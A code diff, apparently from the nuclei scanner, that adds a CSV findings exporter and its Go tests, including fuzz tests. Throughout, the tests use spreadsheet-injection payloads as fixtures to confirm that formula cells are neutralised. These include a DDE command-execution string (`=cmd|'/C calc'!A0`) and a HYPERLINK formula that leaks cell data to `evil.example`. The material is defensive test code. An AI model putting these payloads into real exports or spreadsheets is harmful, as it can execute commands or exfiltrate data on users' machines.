// Close flushes any buffered rows and closes the CSV file. It is safe to call
// more than once.
func (exporter *Exporter) Close() error {
exporter.mutex.Lock()
defer exporter.mutex.Unlock()
if exporter.closed {
return nil
}
exporter.closed = true
exporter.writer.Flush()
if err := exporter.writer.Error(); err != nil {
_ = exporter.outputFile.Close()
return errors.Wrap(err, "failed to flush CSV file")
}
if err := exporter.outputFile.Close(); err != nil {
return errors.Wrap(err, "failed to close CSV file")
}
return nil
}
@@ -0,0 +1,450 @@
package csv
import (
"fmt"
"os"
"path/filepath"
"runtime"
"strings"
"sync"
"testing"
"time"
"github.com/stretchr/testify/require"
"github.com/projectdiscovery/nuclei/v3/pkg/model"
"github.com/projectdiscovery/nuclei/v3/pkg/model/types/severity"
"github.com/projectdiscovery/nuclei/v3/pkg/model/types/stringslice"
"github.com/projectdiscovery/nuclei/v3/pkg/output"
)
// payloads are values a spreadsheet would evaluate. Every one of them has to be
// neutralized wherever it lands in a row.
var payloads = []string{
`=cmd|'/C calc'!A0`,
`=HYPERLINK("http://evil.example/?d="&A1,"x")`,
`+1+1`,
`-2+3`,
`@SUM(1+1)`,
"\t=1+1",
"\r=1+1",
" =1+1",
"\n=1+1",
}
// hostileEvent puts the given value into every string field of the event that
// ends up in the CSV, including the template metadata fields.
func hostileEvent(value string) *output.ResultEvent {
return &output.ResultEvent{
TemplateID: value,
Type: value,
Info: model.Info{
Name: value,
Description: value,
Reference: stringslice.NewRawStringSlice([]string{value, "https://example.com", value}),
SeverityHolder: severity.Holder{Severity: severity.High},
Classification: &model.Classification{
CVEID: stringslice.StringSlice{Value: []string{value, "CVE-2020-0001"}},
CWEID: stringslice.StringSlice{Value: []string{"CWE-79", value}},
CVSSMetrics: value,
CVSSScore: 9.8,
},
},
Host: value,
IP: value,
Port: value,
Matched: value,
MatcherName: value,
ExtractorName: value,
ExtractedResults: []string{value, "ok", value},
CURLCommand: value,
Timestamp: time.Date(2025, 6, 1, 0, 0, 0, 0, time.UTC),
}
}
// TestCSVExporterNeutralizesEveryColumn is the guard against a column being
// added or changed without going through neutralizeFormula. The payload is put
// in every field, so a column that skips it shows up as an unsafe cell.
func TestCSVExporterNeutralizesEveryColumn(t *testing.T) {
for _, payload := range payloads {
t.Run(fmt.Sprintf("%q", payload), func(t *testing.T) {
records := export(t, hostileEvent(payload))
require.Len(t, records, 2)
row := records[1]
require.Len(t, row, len(header))
for i, cell := range row {
name := header[i]
if startsWithFormulaTrigger(cell) && !plainNumber.MatchString(cell) {
t.Errorf("column %s is a formula: %q", name, cell)
}
}
// list columns are split back into elements and lines by consumers,
// so each of those has to be safe too
for _, name := range []string{"extracted-results", "reference", "cve-id", "cwe-id"} {
cell := row[column(t, name)]
separator := "\n"
if name == "cve-id" || name == "cwe-id" {
separator = ", "
}
for _, element := range strings.Split(cell, separator) {
for _, line := range strings.Split(element, "\n") {
if startsWithFormulaTrigger(line) && !plainNumber.MatchString(line) {
t.Errorf("column %s has an element that is a formula: %q", name, line)
}
}
}
}
})
}
}
// TestCSVExporterNeutralizesEmbeddedLinesInLists covers a multi-line
// extracted result. Joined with the list separator, its second line becomes an
// element of its own for anyone who splits the cell.
func TestCSVExporterNeutralizesEmbeddedLinesInLists(t *testing.T) {
event := &output.ResultEvent{
TemplateID: "t",
ExtractedResults: []string{"harmless\n=cmd|'/C calc'!A0", "a\r\n@SUM(1)", "b\r+1+1", "-5"},
Info: model.Info{
SeverityHolder: severity.Holder{Severity: severity.Info},
Reference: stringslice.NewRawStringSlice([]string{"https://a.example\n=1+1"}),
},
Timestamp: time.Date(2025, 6, 1, 0, 0, 0, 0, time.UTC),
}
row := export(t, event)[1]
require.Equal(t,
[]string{"harmless", "'=cmd|'/C calc'!A0", "a", "'@SUM(1)", "b", "'+1+1", "-5"},
strings.Split(row[column(t, "extracted-results")], "\n"))
require.Equal(t,
[]string{"https://a.example", "'=1+1"},
strings.Split(row[column(t, "reference")], "\n"))
}
func TestCSVExporterNeutralizesTemplateAuthoredMetadata(t *testing.T) {
event := &output.ResultEvent{
TemplateID: "t",
Info: model.Info{
Name: "n",
SeverityHolder: severity.Holder{Severity: severity.Low},
Classification: &model.Classification{
CVEID: stringslice.StringSlice{Value: "=cmd|'/C calc'!A0"},
CWEID: stringslice.StringSlice{Value: []string{"CWE-79", "@SUM(1)"}},
CVSSMetrics: "+cmd",
},
},
Timestamp: time.Date(2025, 6, 1, 0, 0, 0, 0, time.UTC),
}
row := export(t, event)[1]
require.Equal(t, "'=cmd|'/C calc'!A0", row[column(t, "cve-id")])
require.Equal(t, "CWE-79, '@SUM(1)", row[column(t, "cwe-id")])
require.Equal(t, "'+cmd", row[column(t, "cvss-metrics")])
}
func TestCSVExporterLeavesBenignValuesAlone(t *testing.T) {
event := &output.ResultEvent{
TemplateID: "tech-detect",
Type: "http",
Info: model.Info{
Name: "Wappalyzer Technology Detection",
Description: "- bullet one\n- bullet two",
SeverityHolder: severity.Holder{Severity: severity.Info},
},
Host: "http://example.com/a=b+c",
Port: "8080",
ExtractedResults: []string{"nginx/1.25", "-1", "+7", "3.14"},
Timestamp: time.Date(2025, 6, 1, 0, 0, 0, 0, time.UTC),
}
row := export(t, event)[1]
require.Equal(t, "http://example.com/a=b+c", row[column(t, "host")])
require.Equal(t, "8080", row[column(t, "port")])
require.Equal(t, "nginx/1.25\n-1\n+7\n3.14", row[column(t, "extracted-results")])
require.Equal(t, "2025-06-01T00:00:00Z", row[column(t, "timestamp")])
}
func TestCSVExporterOmitRaw(t *testing.T) {
event := &output.ResultEvent{
TemplateID: "t",
Host: "example.com",
CURLCommand: "curl -H 'Authorization: Bearer secret' 'https://example.com'",
Request: "GET / HTTP/1.1",
Response: "HTTP/1.1 200 OK",
Info: model.Info{SeverityHolder: severity.Holder{Severity: severity.Info}},
Timestamp: time.Date(2025, 6, 1, 0, 0, 0, 0, time.UTC),
}
for _, omit := range []bool{false, true} {
t.Run(fmt.Sprintf("omit-raw=%t", omit), func(t *testing.T) {
file := filepath.Join(t.TempDir(), "results.csv")
exporter, err := New(&Options{File: file, OmitRaw: omit})
require.NoError(t, err)
require.NoError(t, exporter.Export(event))
require.NoError(t, exporter.Close())
raw, err := os.ReadFile(file)
require.NoError(t, err)
require.NotContains(t, string(raw), "GET / HTTP/1.1", "the raw request is never part of the schema")
require.NotContains(t, string(raw), "HTTP/1.1 200 OK", "the raw response is never part of the schema")
cell := readCSV(t, file)[1][column(t, "curl-command")]
if omit {
require.Empty(t, cell)
require.NotContains(t, string(raw), "secret")
} else {
require.Contains(t, cell, "Authorization: Bearer secret")
}
})
}
}
func TestCSVExporterDoesNotMutateEvent(t *testing.T) {
event := hostileEvent("=1+1")
before := *hostileEvent("=1+1")
file := filepath.Join(t.TempDir(), "results.csv")
exporter, err := New(&Options{File: file, OmitRaw: true})
require.NoError(t, err)
require.NoError(t, exporter.Export(event))
require.NoError(t, exporter.Close())
require.Equal(t, before, *event, "the event is shared with other exporters and must stay untouched")
require.Equal(t, "=1+1", event.CURLCommand)
}
func TestCSVExporterZeroTimestampIsEmpty(t *testing.T) {
row := export(t, &output.ResultEvent{
TemplateID: "t",
Info: model.Info{SeverityHolder: severity.Holder{Severity: severity.Info}},
})[1]
require.Empty(t, row[column(t, "timestamp")])
}
func TestCSVExporterNilEvent(t *testing.T) {
file := filepath.Join(t.TempDir(), "results.csv")
exporter, err := New(&Options{File: file})
require.NoError(t, err)
require.NoError(t, exporter.Export(nil))
require.NoError(t, exporter.Close())
require.Len(t, readCSV(t, file), 1, "only the header is written")
}
func TestCSVExporterDefaultFile(t *testing.T) {
for name, options := range map[string]*Options{
"nil options": nil,
"empty options": {},
} {
t.Run(name, func(t *testing.T) {
t.Chdir(t.TempDir())
exporter, err := New(options)
require.NoError(t, err, "an empty block in a reporting config must not fail")
require.NoError(t, exporter.Export(&output.ResultEvent{TemplateID: "t"}))
require.NoError(t, exporter.Close())
records := readCSV(t, defaultFile)
require.Len(t, records, 2)
require.Equal(t, header, records[0])
})
}
}
func TestCSVExporterDoesNotMutateOptions(t *testing.T) {
t.Chdir(t.TempDir())
options := &Options{}
exporter, err := New(options)
require.NoError(t, err)
require.NoError(t, exporter.Close())
require.Empty(t, options.File, "the caller's options are copied, not edited")
}
func TestCSVExporterFilePermissions(t *testing.T) {
if runtime.GOOS == "windows" {
t.Skip("unix permission bits are not enforced on windows")
}
file := filepath.Join(t.TempDir(), "results.csv")
exporter, err := New(&Options{File: file})
require.NoError(t, err)
require.NoError(t, exporter.Close())
info, err := os.Stat(file)
require.NoError(t, err)
require.Equal(t, os.FileMode(0o600), info.Mode().Perm())
}
func TestCSVExporterTruncatesExistingFile(t *testing.T) {
file := filepath.Join(t.TempDir(), "results.csv")
require.NoError(t, os.WriteFile(file, []byte(strings.Repeat("stale,row\n", 100)), 0o600))
exporter, err := New(&Options{File: file})
require.NoError(t, err)
require.NoError(t, exporter.Close())
require.Len(t, readCSV(t, file), 1)
raw, err := os.ReadFile(file)
require.NoError(t, err)
require.NotContains(t, string(raw), "stale")
}
func TestCSVExporterInvalidPath(t *testing.T) {
dir := t.TempDir()
for name, path := range map[string]string{
"missing parent directory": filepath.Join(dir, "missing", "results.csv"),
"directory": dir,
} {
t.Run(name, func(t *testing.T) {
exporter, err := New(&Options{File: path})
require.Error(t, err)
require.Nil(t, exporter)
})
}
}
func TestCSVExporterClose(t *testing.T) {
file := filepath.Join(t.TempDir(), "results.csv")
exporter, err := New(&Options{File: file})
require.NoError(t, err)
require.NoError(t, exporter.Export(&output.ResultEvent{TemplateID: "before"}))
require.NoError(t, exporter.Close())
require.NoError(t, exporter.Close(), "closing twice is harmless")
require.Error(t, exporter.Export(&output.ResultEvent{TemplateID: "after"}), "no writes after close")
records := readCSV(t, file)
require.Len(t, records, 2)
require.Equal(t, "before", records[1][column(t, "template-id")])
}
// TestCSVExporterConcurrentExport runs under -race in CI. The reporting client
// calls Export from every scan goroutine.
func TestCSVExporterConcurrentExport(t *testing.T) {
const workers, perWorker = 16, 50
file := filepath.Join(t.TempDir(), "results.csv")
exporter, err := New(&Options{File: file})
require.NoError(t, err)
var wg sync.WaitGroup
for w := range workers {
wg.Add(1)
go func() {
defer wg.Done()
for i := range perWorker {
err := exporter.Export(&output.ResultEvent{
TemplateID: fmt.Sprintf("w%d-%d", w, i),
Host: "example.com",
ExtractedResults: []string{"a,b", "multi\nline", `q"uote`},
Timestamp: time.Date(2025, 6, 1, 0, 0, 0, 0, time.UTC),
})
if err != nil {
t.Errorf("export: %v", err)
}
}
}()
}
wg.Wait()
require.NoError(t, exporter.Close())
records := readCSV(t, file)
require.Len(t, records, workers*perWorker+1)
seen := map[string]bool{}
for _, record := range records[1:] {
require.Len(t, record, len(header), "rows must never interleave")
require.Equal(t, "a,b\nmulti\nline\nq\"uote", record[column(t, "extracted-results")])
require.False(t, seen[record[0]], "duplicate row %s", record[0])
seen[record[0]] = true
}
}
// TestCSVExporterLargeValues makes sure big response-derived values are written
// whole and do not break the row structure.
func TestCSVExporterLargeValues(t *testing.T) {
big := strings.Repeat("A,\"\n", 64*1024)
row := export(t, &output.ResultEvent{
TemplateID: "t",
ExtractedResults: []string{big},
Info: model.Info{
Description: big,
SeverityHolder: severity.Holder{Severity: severity.Info},
},
})
require.Equal(t, big, row[1][column(t, "description")])
require.Equal(t, big, row[1][column(t, "extracted-results")])
require.Len(t, row, 2)
require.Len(t, row[1], len(header))
}
func FuzzNeutralizeFormula(f *testing.F) {
for _, seed := range append([]string{"", "a", "-1", "+Inf", "'=x", "=", "\x00=", "é"}, payloads...) {
f.Add(seed)
}
f.Fuzz(func(t *testing.T, value string) {
got := neutralizeFormula(value)
if got != value {
require.Equal(t, "'"+value, got, "the only change allowed is one leading apostrophe")
require.True(t, startsWithFormulaTrigger(value))
}
if startsWithFormulaTrigger(got) {
require.True(t, plainNumber.MatchString(got), "a formula start survived: %q", got)
}
require.Equal(t, got, neutralizeFormula(got), "neutralizing twice changes nothing")
})
}
// FuzzFormatRow checks the guarantees that matter for any input: the row always
// has one cell per column, survives a CSV round trip, and no cell or list line
// is left as a formula.
func FuzzFormatRow(f *testing.F) {
for _, seed := range payloads {
f.Add(seed, seed, seed)
}
f.Add("plain", "a,b\n\"c\"", "x\r\ny")
f.Fuzz(func(t *testing.T, a, b, c string) {
event := &output.ResultEvent{
TemplateID: a,
Type: b,
Host: c,
Matched: a,
ExtractedResults: []string{a, b, c},
CURLCommand: b,
Info: model.Info{
Name: c,
Description: a,
SeverityHolder: severity.Holder{Severity: severity.Medium},
Reference: stringslice.NewRawStringSlice([]string{b, c}),
Classification: &model.Classification{
CVEID: stringslice.StringSlice{Value: []string{a}},
CWEID: stringslice.StringSlice{Value: []string{b}},
CVSSMetrics: c,
},
},
}
file := filepath.Join(t.TempDir(), "results.csv")
exporter, err := New(&Options{File: file})
require.NoError(t, err)
require.NoError(t, exporter.Export(event))
require.NoError(t, exporter.Close())
records := readCSV(t, file)
require.Len(t, records, 2)
require.Len(t, records[1], len(header))
for i, cell := range records[1] {
if header[i] == "extracted-results" || header[i] == "reference" ||
header[i] == "cve-id" || header[i] == "cwe-id" {
for _, line := range strings.Split(cell, "\n") {
if startsWithFormulaTrigger(line) {
require.True(t, plainNumber.MatchString(line), "column %s line %q", header[i], line)
}
}
continue
}
if startsWithFormulaTrigger(cell) {
require.True(t, plainNumber.MatchString(cell), "column %s cell %q", header[i], cell)
}
}
})
}
+390
View File
@@ -0,0 +1,390 @@
package csv
import (
encodingcsv "encoding/csv"
"os"
"path/filepath"
"strings"
"testing"
"time"
"github.com/stretchr/testify/require"
"github.com/projectdiscovery/nuclei/v3/pkg/model"
"github.com/projectdiscovery/nuclei/v3/pkg/model/types/severity"
"github.com/projectdiscovery/nuclei/v3/pkg/model/types/stringslice"
"github.com/projectdiscovery/nuclei/v3/pkg/output"
)
// readCSV is a small helper that fully parses the exporter output back into
// records so assertions are made against decoded CSV rather than raw bytes.
func readCSV(t *testing.T, path string) [][]string {
t.Helper()
f, err := os.Open(path)
require.NoError(t, err)
defer func() { _ = f.Close() }()
records, err := encodingcsv.NewReader(f).ReadAll()
require.NoError(t, err)
return records
}
// column resolves a header name to its index so assertions do not depend on
// the ordinal position of a column.
func column(t *testing.T, name string) int {
t.Helper()
for i, h := range header {
if h == name {
return i
}
}
t.Fatalf("unknown CSV column %q", name)
return -1
}
// export writes a single event through the exporter and returns the decoded
// records (header row included).
func export(t *testing.T, event *output.ResultEvent) [][]string {
t.Helper()
file := filepath.Join(t.TempDir(), "results.csv")
exporter, err := New(&Options{File: file})
require.NoError(t, err)
require.NoError(t, exporter.Export(event))
require.NoError(t, exporter.Close())
return readCSV(t, file)
}
func TestCSVExporterWritesHeaderAndFlattenedRows(t *testing.T) {
ts := time.Date(2025, 1, 2, 3, 4, 5, 0, time.UTC)
event := &output.ResultEvent{
TemplateID: "CVE-2021-44228",
Type: "http",
Info: model.Info{
Name: "Apache Log4j2 Remote Code Execution",
Description: "Apache Log4j2 JNDI features do not protect against attacker controlled LDAP endpoints.",
Reference: stringslice.NewRawStringSlice([]string{"https://logging.apache.org/log4j/2.x/security.html"}),
SeverityHolder: severity.Holder{Severity: severity.Critical},
Classification: &model.Classification{
CVEID: stringslice.StringSlice{Value: "CVE-2021-44228"},
CWEID: stringslice.StringSlice{Value: "CWE-502"},
CVSSMetrics: "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
CVSSScore: 10.0,
},
},
Host: "https://example.com",
IP: "93.184.216.34",
Port: "443",
Matched: "https://example.com/api",
MatcherName: "jndi-ldap",
ExtractorName: "version",
ExtractedResults: []string{"2.14.1"},
CURLCommand: "curl -X 'GET' 'https://example.com/api'",
Timestamp: ts,
}
records := export(t, event)
require.Len(t, records, 2, "expected header + one data row")
require.Equal(t, header, records[0])
require.Equal(t, []string{
"CVE-2021-44228",
"Apache Log4j2 Remote Code Execution",
"http",
"critical",
"https://example.com",
"93.184.216.34",
"443",
"https://example.com/api",
"jndi-ldap",
"version",
"2.14.1",
"CVE-2021-44228",
"CWE-502",
"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
"10",
"Apache Log4j2 JNDI features do not protect against attacker controlled LDAP endpoints.",
"https://logging.apache.org/log4j/2.x/security.html",
"curl -X 'GET' 'https://example.com/api'",
"2025-01-02T03:04:05Z",
}, records[1])
}
func TestCSVExporterHandlesMissingClassification(t *testing.T) {
event := &output.ResultEvent{
TemplateID: "tech-detect",
Type: "http",
Info: model.Info{
Name: "Wappalyzer Technology Detection",
SeverityHolder: severity.Holder{Severity: severity.Info},
},
Host: "example.org",
Matched: "example.org",
Timestamp: time.Date(2025, 6, 1, 0, 0, 0, 0, time.UTC),
}
records := export(t, event)
require.Len(t, records, 2)
// classification-derived and reference columns must be empty, not "0" or
// "<nil>", when the template carries no such metadata.
for _, name := range []string{"cve-id", "cwe-id", "cvss-metrics", "cvss-score", "reference", "description"} {
require.Equal(t, "", records[1][column(t, name)], "column %s should be empty", name)
}
require.Equal(t, "info", records[1][column(t, "severity")])
// every row still carries exactly one cell per header column
require.Len(t, records[1], len(header))
}
// TestCSVExporterEscapesStructuralCharacters is the reason this exporter writes
// through encoding/csv rather than leaving CSV assembly to the consumer: every
// value below is attacker-influenced and contains characters that are
// structural in CSV. A hand-rolled join (jq's @csv on a subset of fields, an
// fmt.Sprintf with commas, ...) either forges extra columns or truncates a row.
// Here the values must survive a full write/parse round trip byte for byte and
// the row must keep exactly len(header) cells.
func TestCSVExporterEscapesStructuralCharacters(t *testing.T) {
const (
commaValue = "a,b,c"
quoteValue = `he said "hi", then left`
newlineValue = "line1\nline2"
crlfValue = "line1\r\nline2"
mixedValue = "GET /a,b?q=\"x\" HTTP/1.1\r\nHost: evil\n"
)
event := &output.ResultEvent{
TemplateID: commaValue,
Type: quoteValue,
Info: model.Info{
Name: mixedValue,
Description: newlineValue,
Reference: stringslice.NewRawStringSlice([]string{commaValue, quoteValue}),
SeverityHolder: severity.Holder{Severity: severity.High},
},
Host: quoteValue,
IP: commaValue,
Port: newlineValue,
Matched: mixedValue,
MatcherName: crlfValue,
ExtractorName: quoteValue,
ExtractedResults: []string{commaValue, quoteValue, newlineValue},
CURLCommand: mixedValue,
Timestamp: time.Date(2025, 6, 1, 0, 0, 0, 0, time.UTC),
}
file := filepath.Join(t.TempDir(), "results.csv")
exporter, err := New(&Options{File: file})
require.NoError(t, err)
require.NoError(t, exporter.Export(event))
require.NoError(t, exporter.Close())
// 1. the raw file must quote the cells and double the embedded quotes
raw, err := os.ReadFile(file)
require.NoError(t, err)
require.Contains(t, string(raw), `"a,b,c"`)
require.Contains(t, string(raw), `"he said ""hi"", then left"`)
// 2. the file must still parse as exactly two records of len(header) cells,
// i.e. no injected/forged columns and no truncated row
records := readCSV(t, file)
require.Len(t, records, 2)
require.Len(t, records[0], len(header))
require.Len(t, records[1], len(header))
// 3. every value must round trip unchanged. encoding/csv collapses a \r\n
// inside a quoted field to \n when reading it back, so the expectation is
// normalised the same way; nothing else about the value may change.
lf := func(s string) string { return strings.ReplaceAll(s, "\r\n", "\n") }
row := records[1]
require.Equal(t, commaValue, row[column(t, "template-id")])
require.Equal(t, quoteValue, row[column(t, "template-type")])
require.Equal(t, lf(mixedValue), row[column(t, "template-name")])
require.Equal(t, quoteValue, row[column(t, "host")])
require.Equal(t, commaValue, row[column(t, "ip")])
require.Equal(t, newlineValue, row[column(t, "port")])
require.Equal(t, lf(mixedValue), row[column(t, "matched-at")])
require.Equal(t, quoteValue, row[column(t, "extractor-name")])
require.Equal(t, newlineValue, row[column(t, "description")])
require.Equal(t, lf(mixedValue), row[column(t, "curl-command")])
require.Equal(t, lf(crlfValue), row[column(t, "matcher-name")])
require.Equal(t, "high", row[column(t, "severity")])
// extracted results and references are newline separated inside their single
// quoted cell, so a value that itself contains a comma stays one value
require.Equal(t,
[]string{commaValue, quoteValue, "line1", "line2"},
strings.Split(row[column(t, "extracted-results")], "\n"))
require.Equal(t,
[]string{commaValue, quoteValue},
strings.Split(row[column(t, "reference")], "\n"))
}
func TestCSVExporterJoinsMultipleCVEsAndCWEs(t *testing.T) {
event := &output.ResultEvent{
TemplateID: "multi-cve",
Type: "http",
Info: model.Info{
Name: "Multiple CVEs",
SeverityHolder: severity.Holder{Severity: severity.Medium},
Classification: &model.Classification{
CVEID: stringslice.StringSlice{Value: []string{"CVE-2020-0001", "CVE-2020-0002"}},
CWEID: stringslice.StringSlice{Value: []string{"CWE-79", "CWE-80"}},
CVSSScore: 5.5,
},
},
Host: "example.net",
Matched: "example.net",
Timestamp: time.Date(2025, 6, 1, 0, 0, 0, 0, time.UTC),
}
records := export(t, event)
require.Len(t, records, 2)
require.Equal(t, "CVE-2020-0001, CVE-2020-0002", records[1][column(t, "cve-id")])
require.Equal(t, "CWE-79, CWE-80", records[1][column(t, "cwe-id")])
require.Equal(t, "5.5", records[1][column(t, "cvss-score")])
}
// TestCSVExporterFlushesRowsBeforeClose asserts rows are readable while the
// scan is still running, rather than only after Close.
func TestCSVExporterFlushesRowsBeforeClose(t *testing.T) {
file := filepath.Join(t.TempDir(), "results.csv")
exporter, err := New(&Options{File: file})
require.NoError(t, err)
event := &output.ResultEvent{
TemplateID: "streamed",
Type: "http",
Info: model.Info{
Name: "Streamed Result",
SeverityHolder: severity.Holder{Severity: severity.Low},
},
Host: "example.com",
Matched: "example.com",
Timestamp: time.Date(2025, 6, 1, 0, 0, 0, 0, time.UTC),
}
require.NoError(t, exporter.Export(event))
records := readCSV(t, file)
require.Len(t, records, 2, "row should be on disk before Close")
require.Equal(t, "streamed", records[1][column(t, "template-id")])
require.NoError(t, exporter.Close())
}
// TestCSVExporterNeutralizesSpreadsheetFormulas covers the second half of the
// escaping problem. encoding/csv stops a value from breaking out of its cell,
// but it does not stop a spreadsheet from evaluating that cell as a formula.
// ExtractedResults in particular is raw response-derived data, so a target can
// choose exactly what lands in it.
func TestCSVExporterNeutralizesSpreadsheetFormulas(t *testing.T) {
const (
ddePayload = `=cmd|'/C calc'!A0`
hyperlinkPayload = `=HYPERLINK("http://evil.example/log?d="&A1,"click")`
atPayload = `@SUM(1+1)`
plusPayload = `+1+1`
tabPayload = "\t=1+1"
crPayload = "\r=1+1"
safeValue = "http://127.0.0.1:8080/index.html"
negativeNumber = "-1"
)
event := &output.ResultEvent{
TemplateID: ddePayload,
Type: "http",
Info: model.Info{
Name: atPayload,
Description: plusPayload,
Reference: stringslice.NewRawStringSlice([]string{safeValue, hyperlinkPayload}),
SeverityHolder: severity.Holder{Severity: severity.High},
Classification: &model.Classification{
CVSSScore: 9.8,
},
},
Host: tabPayload,
Matched: safeValue,
MatcherName: crPayload,
ExtractedResults: []string{safeValue, ddePayload, negativeNumber, hyperlinkPayload},
CURLCommand: ddePayload,
Timestamp: time.Date(2025, 6, 1, 0, 0, 0, 0, time.UTC),
}
records := export(t, event)
require.Len(t, records, 2)
row := records[1]
require.Len(t, row, len(header))
// every formula-triggering cell is prefixed with a single apostrophe, and
// the original value is recoverable by removing exactly that apostrophe
for _, tc := range []struct {
column string
want string
}{
{"template-id", ddePayload},
{"template-name", atPayload},
{"description", plusPayload},
{"host", tabPayload},
{"matcher-name", crPayload},
{"curl-command", ddePayload},
} {
got := row[column(t, tc.column)]
require.Equal(t, "'"+tc.want, got, "column %s must be neutralized", tc.column)
require.Equal(t, tc.want, strings.TrimPrefix(got, "'"), "column %s must stay recoverable", tc.column)
}
// values that are not formulas are left byte-for-byte alone, so the export
// does not become littered with apostrophes
require.Equal(t, safeValue, row[column(t, "matched-at")])
require.Equal(t, "high", row[column(t, "severity")])
// a numeric cell stays numeric and sortable rather than becoming text
require.Equal(t, "9.8", row[column(t, "cvss-score")])
// multi-value cells are neutralized per element, not just at the start of
// the cell, because consumers split these cells back apart
require.Equal(t,
[]string{safeValue, "'" + ddePayload, negativeNumber, "'" + hyperlinkPayload},
strings.Split(row[column(t, "extracted-results")], "\n"))
require.Equal(t,
[]string{safeValue, "'" + hyperlinkPayload},
strings.Split(row[column(t, "reference")], "\n"))
}
func TestNeutralizeFormula(t *testing.T) {
for _, tc := range []struct {
name string
input string
want string
}{
{"empty", "", ""},
{"plain text", "nuclei", "nuclei"},
{"url", "http://example.com/a=b", "http://example.com/a=b"},
{"equals", "=1+1", "'=1+1"},
{"plus", "+1+1", "'+1+1"},
{"at", "@SUM(1)", "'@SUM(1)"},
{"tab", "\t=1+1", "'\t=1+1"},
{"carriage return", "\r=1+1", "'\r=1+1"},
{"negative integer stays numeric", "-1", "-1"},
{"negative float stays numeric", "-1.5", "-1.5"},
{"positive signed number stays numeric", "+9.8", "+9.8"},
{"minus leading text is neutralized", "-cmd|'/C calc'!A0", "'-cmd|'/C calc'!A0"},
{"leading space before trigger", " =1+1", "' =1+1"},
{"leading spaces and control before trigger", " \x01 @SUM(1)", "' \x01 @SUM(1)"},
{"leading newline before trigger", "\n=1+1", "'\n=1+1"},
{"space only", " ", " "},
{"inner trigger is not a trigger", "a=1+1", "a=1+1"},
{"already neutralized is left alone", "'=1+1", "'=1+1"},
{"non-ascii leading rune", "é=1+1", "é=1+1"},
{"exponent number stays numeric", "-1e5", "-1e5"},
{"leading dot number stays numeric", "-.5", "-.5"},
{"infinity is not a plain number", "-Inf", "'-Inf"},
{"nan is not a plain number", "+NaN", "'+NaN"},
{"hex float is not a plain number", "-0x1p-2", "'-0x1p-2"},
{"number with trailing text", "-1+cmd", "'-1+cmd"},
{"number with trailing newline", "-1\n", "'-1\n"},
{"lone sign", "-", "'-"},
} {
t.Run(tc.name, func(t *testing.T) {
require.Equal(t, tc.want, neutralizeFormula(tc.input))
})
}
}
+3
View File
@@ -2,6 +2,7 @@ package reporting
import (
"github.com/projectdiscovery/nuclei/v3/pkg/output"
"github.com/projectdiscovery/nuclei/v3/pkg/reporting/exporters/csv"
"github.com/projectdiscovery/nuclei/v3/pkg/reporting/exporters/es"
"github.com/projectdiscovery/nuclei/v3/pkg/reporting/exporters/jsonexporter"
"github.com/projectdiscovery/nuclei/v3/pkg/reporting/exporters/jsonl"
@@ -49,6 +50,8 @@ type Options struct {
JSONExporter *jsonexporter.Options `yaml:"json"`
// JSONLExporter contains configuration options for JSONL Exporter Module
JSONLExporter *jsonl.Options `yaml:"jsonl"`
// CSVExporter contains configuration options for CSV Exporter Module
CSVExporter *csv.Options `yaml:"csv"`
// PDFExporter contains configuration options for PDF Exporter Module
PDFExporter *pdf.Options `yaml:"pdf"`
// MongoDBExporter containers the configuration options for the MongoDB Exporter Module
+9
View File
@@ -12,6 +12,7 @@ import (
"github.com/projectdiscovery/nuclei/v3/pkg/model/types/stringslice"
"github.com/projectdiscovery/nuclei/v3/pkg/output"
"github.com/projectdiscovery/nuclei/v3/pkg/reporting/dedupe"
"github.com/projectdiscovery/nuclei/v3/pkg/reporting/exporters/csv"
"github.com/projectdiscovery/nuclei/v3/pkg/reporting/exporters/es"
json_exporter "github.com/projectdiscovery/nuclei/v3/pkg/reporting/exporters/jsonexporter"
"github.com/projectdiscovery/nuclei/v3/pkg/reporting/exporters/jsonl"
@@ -149,6 +150,13 @@ func New(options *Options, db string, doNotDedupe bool) (Client, error) {
}
client.exporters = append(client.exporters, exporter)
}
if options.CSVExporter != nil {
exporter, err := csv.New(options.CSVExporter)
if err != nil {
return nil, errkit.Wrapf(err, "could not create export client: %v", ErrExportClientCreation)
}
client.exporters = append(client.exporters, exporter)
}
if options.PDFExporter != nil {
exporter, err := pdf.New(options.PDFExporter)
if err != nil {
@@ -229,6 +237,7 @@ func CreateConfigIfNotExists() error {
SplunkExporter: &splunk.Options{},
JSONExporter: &json_exporter.Options{},
JSONLExporter: &jsonl.Options{},
CSVExporter: &csv.Options{},
PDFExporter: &pdf.Options{},
MongoDBExporter: &mongo.Options{},
}
+45
View File
@@ -3,6 +3,7 @@ package reporting
import (
"bufio"
"bytes"
encodingcsv "encoding/csv"
"encoding/json"
"os"
"path/filepath"
@@ -11,6 +12,7 @@ import (
"github.com/projectdiscovery/nuclei/v3/pkg/model/types/severity"
"github.com/projectdiscovery/nuclei/v3/pkg/output"
"github.com/projectdiscovery/nuclei/v3/pkg/reporting/exporters/csv"
"github.com/projectdiscovery/nuclei/v3/pkg/reporting/exporters/jsonexporter"
"github.com/projectdiscovery/nuclei/v3/pkg/reporting/exporters/jsonl"
"github.com/projectdiscovery/nuclei/v3/pkg/reporting/exporters/markdown"
@@ -107,6 +109,49 @@ func TestReportingDedupeRedirectedInputs(t *testing.T) {
}
}
func TestReportingCSVExporter(t *testing.T) {
t.Run("empty block does not fail client creation", func(t *testing.T) {
t.Chdir(t.TempDir())
client, err := New(&Options{CSVExporter: &csv.Options{}}, "", true)
require.NoError(t, err)
client.Close()
require.FileExists(t, "nuclei-results.csv")
})
t.Run("export through the client", func(t *testing.T) {
csvPath := filepath.Join(t.TempDir(), "report.csv")
client, err := New(&Options{CSVExporter: &csv.Options{File: csvPath}}, "", false)
require.NoError(t, err)
event := &output.ResultEvent{
TemplateID: "extract",
Type: "http",
Host: "example.com",
URL: "http://example.com",
Matched: "http://example.com",
ExtractedResults: []string{"=cmd|'/C calc'!A0"},
}
event.Info.SeverityHolder.Severity = severity.Info
require.NoError(t, client.CreateIssue(event))
// the same finding again is deduplicated like for every other exporter
require.NoError(t, client.CreateIssue(event))
client.Close()
f, err := os.Open(csvPath)
require.NoError(t, err)
defer func() { _ = f.Close() }()
records, err := encodingcsv.NewReader(f).ReadAll()
require.NoError(t, err)
require.Len(t, records, 2)
require.Contains(t, records[1], "'=cmd|'/C calc'!A0")
})
t.Run("unwritable path fails client creation", func(t *testing.T) {
